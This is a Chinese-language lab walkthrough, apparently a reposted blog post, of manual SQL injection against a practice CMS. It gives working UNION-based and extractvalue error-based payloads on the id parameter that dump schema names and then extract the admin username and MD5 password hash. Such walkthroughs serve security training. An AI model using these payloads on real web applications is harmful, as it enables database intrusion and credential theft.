CMS 文件管理系統:SQL 聯合查詢和報錯注入


任務目標

對 cms 系統進行手工 SQL 注入,通過獲取到的管理員密碼登錄。

查找注入點,判斷注入類型

首先先找找注入點,經判斷在搜索框的 keywords 可能存在 SQL 注入。

在文章閱讀框的 id 參數也可能是注入點。

由於文章閱讀框的參數比較簡單,所以用這個參數來測試,首先先注入正常的參數,網頁回顯正常的信息。

嘗試注入個單引號閉合,網頁回顯 MySql 報錯,后端的 SQL 語句后面的內容注釋后,網頁仍然不能回顯正確的信息。經過以下所有的測試都一樣,也就是說我們注入的引號沒有起到閉合的作用,這是一個數字型注入。

1' OR 1 = 1--+
1') OR 1 = 1--+
1')) OR 1 = 1--+
1" OR 1 = 1--+
1") OR 1 = 1--+
1")) OR 1 = 1--+


那就是數值型注入了,直接用注釋把后面的東西注釋掉,不用引號閉合。

1 OR 1 = 1--+

聯合查詢

判斷列數

判斷表有幾列,使用 ORDER BY 子句進行一個排序,看一下對幾列有效。經二分法測試,有效的列數有 15 列。

?id=1 ORDER BY 15--+

?id=1 ORDER BY 16--+


判斷哪些列是我們能用的,令 id 參數的查詢不到結果,然后使用 UNION 進行組合查詢。網頁回顯了數字 3 和 11,說明第 3 列和第 11 列是我們可用的。

?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

獲取數據庫信息

爆數據庫名,我們選擇第 3 個位置作為顯示位。database() 函數可以回顯當前使用的數據庫,我們將對它進行查詢。

?id=-1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15--+


接下來開始爆表名,在 information_schema.table 進行查詢,使用 group_concat() 函數合並查詢結果。注意由於編碼問題會顯示 UNION 非法,由於這個是中文網頁,后台數據可能是 gbk 編碼,修改編碼后回顯。

?id=-1 UNION SELECT 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='cms'--+


cms_users 表看上去就是用戶名和密碼存放的表,所以接下來爆cms_users 表的字段,在 information_schema.columns 爆出來。

?id=-1 UNION SELECT 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'--+

獲取敏感信息

接下來我們爆出 cms_users 表中的信息,這個表有用戶名和密碼這種敏感信息。

?id=-1 UNION SELECT 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 FROM cms.cms_users--+


經查看目測是 md5 加密,隨便找個網站查詢一下得到原文是 123456。

使用得到的用戶名和密碼登錄后台,完成實驗。


值得一提的是我試着抓包看了下,這個密碼沒有在前端進行加密,直接傳的是明文,所以用爆破和一些社工庫也可以很輕松地把一些弱密碼爆出來。

報錯注入

在判斷注入類型時,由於網頁回顯了報錯信息,也可以用報錯注入。

獲取數據庫信息

爆數據庫名,報錯注入常用 extractvalue 和 updatexml 函數,此處用 extractvalue 函數,報錯時它可以從目標 XML 中返回包含所查詢值的字符串。在 extractvalue 函數的第二個參數編寫要查詢的信息,該信息就會被當做報錯信息顯示回來。

?id=33 AND extractvalue(1,concat(0x7e,(select database()),0x7e))--+


接下來開始爆表名,在 information_schema.table 進行查詢,但是使用 group_concat() 函數合並查詢結果時發現回顯的長度有限制,不能全部返回。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(convert(table_name using gbk)) FROM information_schema.tables WHERE table_schema='cms'),0x7e))--+


此時只能使用 LIMIT 子句限制返回的行數,例如只返回第一行查到第一張表名。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='cms' LIMIT 1,1),0x7e))--+


使用 Brup 抓包,然后將包發到測試器中,設置有效載荷在過濾條件里面。通過過濾條件依次排除前 n 行,就能獲取第 n + 1 行數據。

暫時設置填充的數字在 1 ~ 10,最多可以查回 10 張表。

為了方便觀察,設置返回的數據提取報錯信息。

進行攻擊,可以看到獲取了所有可以看到的表的表名。

最后獲取字段名,還好 cms_user 表的字段比較少,所以不需要用 Brup 來注入。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(convert(column_name using gbk)) FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'),0x7e))--+

獲取敏感信息

接下來我們爆出 cms_users 表中的信息,這個表有用戶名和密碼這種敏感信息,但是仍然是因為長度限制顯示不全。

id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))) FROM cms.cms_users),0x7e))--+


單獨查一下有多少個用戶名,一共只有 1 個用戶。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(concat_ws(':',convert(username using gbk))) FROM cms.cms_users),0x7e))--+ 


那就簡單了,因為密碼使用 MD5 操作過,所以可以分 2 次截取數據,每次截取 16 位,通過 SUBSTRING 函數實現。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(password,1,16) FROM cms.cms_users),0x7e))--+

?id=33 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(password,-16) FROM cms.cms_users),0x7e))--+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM